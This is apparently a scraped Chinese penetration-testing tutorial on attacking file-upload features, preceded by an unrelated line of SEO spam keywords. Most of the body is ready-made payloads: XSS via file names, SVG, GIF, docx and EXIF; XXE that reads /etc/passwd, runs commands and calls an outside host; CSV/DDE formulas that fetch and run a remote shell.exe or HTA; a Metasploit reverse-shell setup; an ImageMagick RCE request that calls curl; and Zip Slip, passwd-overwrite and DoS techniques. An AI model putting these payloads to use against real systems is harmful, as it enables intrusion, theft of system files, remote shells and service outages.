网站建设质量体系审核指导,做网站用哪几个端口 比较好,怎样做自己介绍网站,敬请期待用英语怎么说文件上传的多种利用方式 文件上传漏洞除了可以通过绕过检测进行webshell的上传之外#xff0c;还有多种其它的漏洞可以进行测试。 XSS漏洞 文件名造成的XSS 当上传任何文件时#xff0c;文件名肯定是会反显示在网页上#xff0c;可以使用 XSS Payload做文件名尝试将其上传到… 文件上传的多种利用方式 文件上传漏洞除了可以通过绕过检测进行webshell的上传之外还有多种其它的漏洞可以进行测试。 XSS漏洞 文件名造成的XSS 当上传任何文件时文件名肯定是会反显示在网页上可以使用 XSS Payload做文件名尝试将其上传到 Web 应用程序。这样就可能会触发XSS。 抓包修改文件名为如下所示的名字 img srcx onerroralert(1).png html文件上传 最直接的方式无疑是可以上传html文件 通过构造z最简单的poc修改后缀为html即可 scriptalert(XSS)/script svg文件 如果应用允许上传SVG格式的文件(其实就是一个图像类型的)那么带有以下content的文件可以被用来触发XSS svg xmlnshttp://www.w3.org/2000/svg onloadalert(document.domain)/ 可以通过访问http://brutelogic.com.br/poc.svg看到效果 或者按照xml格式构造一个 ?xml version1.0 standaloneno?
!DOCTYPE svg PUBLIC -//W3C//DTD SVG 1.1//EN http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
svgversion1.1 baseProfilefull xmlnshttp://www.w3.org/2000/svg
polygonidtriangle points0,0 0,50 50,0 fill#009900 stroke#004400/
scripttypetext/javascript
alert(document.domain);
/script
/svg gif文件 建立一个携带有JavaScript payload的GIF图像用作一个脚本的源。这对绕过CSP(内容安全策略)保护“script-src ‘self’”(即不允许使用示例的这种xss方式进行攻击scriptalert(1)/script)是很有用的但前提是我们能够成功地在相同的域注入。 poc构造 GIF89a/*svg/onloadalert(1)*/alert(document.domain)//; 这个GIF的图片头——GIF89a作为alert function的变量分配给alert function。但是他们之间还有一个被标注的XSS变量用来防止图片被恢复为text/HTML MIME文件类型因此只需发送一个对这个文件的请求payload 就可以被执行。 正如我们下面看到的文件类unix命令和PHP函数中的exif_imagetype()和getimagesize()会将其识别为一个GIF文件。所以如果一个应用程序仅仅是使用这些方式验证是否是一个图像那么该文件将可以上传成功(但可能在上传后被杀掉) PDF文件 利用迅捷pdf编辑器 右键缩略图点击属性可以看到动作 点击动作可以选择打开和关闭页面的动作设置。进去点击新增按钮运行JavaScript输入poc 在浏览器打开即可进行弹窗。 docx文件 Microsoft Word 文档的核心只是一个压缩文件夹其中包含 Word 知道如何解压缩和处理的 XML 和压缩数据。对于我们的演示我们需要文件的一部分不会被压缩。我们可以通过运行 Linux 命令来检查文件中的所有 ASCII 字符strings file-sample.docx以查看我们可以使用哪些字符串。从下面的屏幕截图中可以看出各个文件标题的 ASCII 字符串是未压缩的。我们也许可以修改其中一个文件名以潜入一些 XSS。 步骤一 将文档进行解压缩然后修改其中的文件名例如将一些任意的 A 插入到将驻留在文档中的文件名中。再次压缩文件后A 字符用作参考点。我选择的文件名是文件settings.xml。它位于/word目录中的一个文件夹下。 mv settings.xml settAAAAAAAAAAAAAAAAAAAAAAAAAAAAings.xml 这将导致显示的文件名中间有大量 A。现在文件名已配置我们可以简单地重新压缩文档以压缩并恢复为正常的 docx 格式。 步骤二 Linux 不允许文件名包含某些字符例如正斜杠/。因此我们需要使用十六进制编辑器或文本编辑器将 A 更改为我们的 XSS 代码 \x41在 hexeditor 中我们可以通过带或的十六进制代码块找到 A 的字符串这41取决于您的 hexeditor。 可以将字符串转换scriptalert(1)/script为十六进制然后将代码注入\x41位置或者您可以简单地在文本编辑器中打开它来替换字符串 再次上传即可触发XSS Metadata 使用exiftool这个工具可以通过改变EXIF metadata进而一定几率引起某处反射 exiftool -field XSS FILE 例如 exiftool -Artistimg src1 onerroralert(1) brute.jpeg XXE漏洞 如果允许上传XML格式文件如docx、xlsx、svg等本质是xml的文件且后端会对上传的文件进行解析那么可能存在XXE。 恶意xlsx 假设我们有一个接受Excel文件进行上传和处理的目标应用程序我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用我们只需将它们放入Excel文件即可。 创建一个新的空白Excel文件,修改后缀为zip并解压(linux中可以直接解压缩)。 $ mkdir XXE cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive: ../XXE.xlsxinflating: xl/drawings/drawing1.xmlinflating: xl/worksheets/sheet1.xmlinflating: xl/worksheets/_rels/sheet1.xml.relsinflating: xl/sharedStrings.xmlinflating: xl/styles.xmlinflating: xl/workbook.xmlinflating: xl/_rels/workbook.xml.relsinflating: _rels/.relsinflating: [Content_Types].xml 用于攻击应用程序的文件会有所不同这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述通常是大多数解析开始的地方因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下通常内容最终会进入xl/sharedStrings.xml鉴于这种流程我们最好先尝试xl/workbook.xml。 常见的测试表 [Content_Types].xml
xl/workbook.xml
xl/worksheets/sheet1.xml
_rels/.rels
#或者
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml 构造poc !DOCTYPE x [ !ENTITY xxe SYSTEM http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/ ]
xxxe;/x 构造好之后的xlsx如图 然后可以将其压缩为xlsx linux中可以使用如下命令 zip -r ../poc.xslx * windows压缩的时候要全选文件进行压缩注意不要选文件夹来压缩要全选文件。 攻击利用的时候可以尝试其它类型的利用方式 #文件读取
!DOCTYPE x [ !ENTITY xxe SYSTEM file://etc/passwd ]
xxxe;/x#执行系统命令
!DOCTYPE x [ !ENTITY xxe SYSTEM expect://id ]
xxxe;/x 恶意docx docx的操作流程和xlsx基本是一致的解压缩之后目录结构如图所示 对文件中的word/document.xml进行修改 可以添加如下pocload进行盲测 !DOCTYPE x [ !ENTITY xxe SYSTEM http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/ ]
xxxe;/x 也可以根据实际网站的具体调用情况将dtd的调用放到其它位置 案例参考docx文件上传xxe导致任意文件读取 恶意svg svg一般尝试OOB外带注入的方式来判断最快,直接构造响应poc如下 ?xml version1.0 standaloneyes?!DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/hostname ]svgwidth128px height128px xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink version1.1textfont-size16 x0 y16xxe;/text/svg 有回显的话则可以利用xxe漏洞去读取文件 Content-Type: image/svgxml ?xml version1.0 encodingUTF-8?
!DOCTYPE note [
!ENTITY file SYSTEM file:///etc/passwd
]
svg height100 width1000
text x10 y20file;/text
/svg 命令执行漏洞 csv注入 CSV注入(CSV Injection)漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时攻击者通常将恶意负载(公式)注入到输入字段中用户导出文件打开后EXCEL会调用本身的动态功能执行攻击者的恶意代码从而控制用户计算机。 常见的poc DDE (cmd;/C calc;!A0)A0
SUM(19)*cmd| /C calc!A0
1020cmd| /C calc!A0
cmd| /C notepad!A1
cmd|/C powershell IEX(wget attacker_server/shell.exe)!A0
cmd|/c rundll32.exe \\10.0.0.1\3\2\1.dll,0!_xlbgnm.A1 如果允许上传CSV文件且上传的CSV文件的内容未经过处理过滤直接保存那么可以尝试上传具有恶意命令执行payload的CSV文件当其他用户下载该CSV文件时可能会导致命令执行。 其它利用方式 网站钓鱼利用, 用户点击文字会自动打开默认浏览器访问百度页面无警告 HYPERLINK(“http://baidu.com”,“点我去百度”) 获取shell 利用msf的功能模块生成poc use exploit/windows/fileformat/office_word_hta
set payload/windows/meterpreter/reverse_http
set lhost 192.168.200.140 #kali的IP
set ExitSession false
exploit 然后新建表格内容插入1cmd|/c mshta.exe http://192.168.200.140:8080/default.hta!A0 表格弹出提示框点击确认后可以获取shell。 对图片二次渲染 若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作那么也可以尝试RCE如ImageMagick。 一些ImageMagick相关的CVE CVE-2016–3714 — Insufficient shell characters filtering leading to (potentially remote) code execution
CVE-2016–3715 — File deletion
CVE-2016–3716 — File moving
CVE-2016–3717 — Local file read
CVE-2016–3718 — SSRF 以CVE-2016–3714为例 漏洞产生的原因是 ImageMagick 使用 system() 指令调用来处理 HTTPS 请求而对用户传入的 shell 参数没有做好过滤导致能注入任意指令执行 恶意poc POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; namefile_upload; filename1.gif
Content-Type: image/pngpush graphic-context
viewbox 0 0 640 480
fill url(https://127.0.0.0/oops.jpg|curl www.leavesongs.com:8889)
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et-- 有回显的话可以利用 push graphic-context
viewbox 0 0 640 480
fill url(https://|id; )
pop graphic-context Zip Slip目录走访漏洞 如果可以上传压缩包并且服务端会对压缩包解压那么就可能存在Zip Slip目录走访漏洞恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件上传后交给应用程序进行解压由于程序解压时没有对压缩包内部的文件名进行合法性的校验而是直接将文件名拼接在待解压目录后面导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。 本质没有对压缩包中的文件名进行合法性校验直接将文件名拼接到待解压目录中导致存在路径遍历风险 举例若解压目录为/webapp/web/给文件命名为../../var/www/html/1.php并压缩那么文件解压后通过直接拼接文件名为/webapp/web/../../var/www/html/1.php因此最终就会存放到/var/www/html/1.php中如果能访问并解析那么就能成功代码执行。 SSRF漏洞 上传url格式的文件 上传 .URL 文件如果打开可能会导致 Windows 上的 SSRF SMB 连接。 PDF的文件导出功能 可以上传并查看pdf文件的功能点一般会存在pdf的导出功能常见功能点为发票打印、行程打印、车票打印、保单下载等而通过浏览器查看和导出pdf可能会由于配置和过滤问题导致存在html注入可以对请求参数进行测试。 参考案例(案例来源https://zone.huoxian.cn/d/550-pdfhtmlxss-ssrf) 然后数据包可知是通过前端传入姓名之类的信息到后端进行插入导出pdf. 通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换。 利用如下poc对参数进行html注入 iframesrchttp://xxx.xxx.xxx.xxx/p/55a964/mIpS/ DOS攻击 像素洪水攻击 任意可以上传图片的地方都可以进行测试在Pixel Flood Attack中攻击者尝试上传具有大像素的文件(64250x64250像素)一些应用会使用第三方组件/库对图像进行缩小处理以节省存储空间和处理能力但是这些第三方库在处理的时候会将“整个图像”加载到内存中它会尝试将4128062500像素分配到内存中从而消耗服务器资源导致应用最终崩溃宕机。 测试思路 需要准备一个5kb260x260像素的图像。将260x260值改为0xfafa x 0xfafa(64250x64250像素)进行交换。图像一旦上传服务器通过将“整个图像”加载到内存中它会尝试将4128062500像素分配到内存中从而充斥内存并导致DoS。 zip递归炸弹和非递归炸弹 参考https://bbs.kanxue.com/thread-252487.htm PNG解压DOS PNG文件由多个块组成其中一个可选的辅助块称为zTXT(ztxt)此块允许使用zlib库存储压缩文本数据。 使用一个大小为50MB的文件填充零将它压缩到大约49 KB”因此将大量数据存储在一个小的PNG(小于1 MB)。当发送给HackerOne时会造成服务超时。 目录遍历 一些网站配置不当或者开发安全意识不严谨将用户上传的文件直接按原名存储到服务器中那么我们就可以尝试将文件名添加回溯符../以上传文件到任意目录甚至覆盖文件达到getshell或者破坏系统的目的。 [!tip] 在windows中由于部分符号不能作为文件名如果我们将文件名设置为带有这些特殊符号的内容那么可能让服务器抛出异常 较少的情况下可以控制上传的目录名也可以通过路径遍历的方法上传到任意目录中。 如将文件名设置为../../../../etc/passwd然后上传对应的内容那么则有可能直接覆盖掉/etc/passwd 一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件如robots.txt等 注入漏洞 服务端可能对上传的文件名进行各种处理如展示到页面、存储到数据库等因此可能存在各种各样的注入如XSS、SQLI等 如上传文件名为test.png那么我们可以设置变量为§test§.png然后fuzz一下各种注入的payload如 sleep(10)-- -.png
h1testh1.png
${2*3} 参考文章 https://brutelogic.com.br/blog/file-upload-xss/ https://bestestredteam.com/2018/07/27/learning-to-pop-xss-with-docx-files/ https://blog.csdn.net/qq_50854662/article/details/129135776 https://xz.aliyun.com/t/7747 https://security.tencent.com/index.php/blog/msg/69 https://www.jianshu.com/p/18d82bebaa0e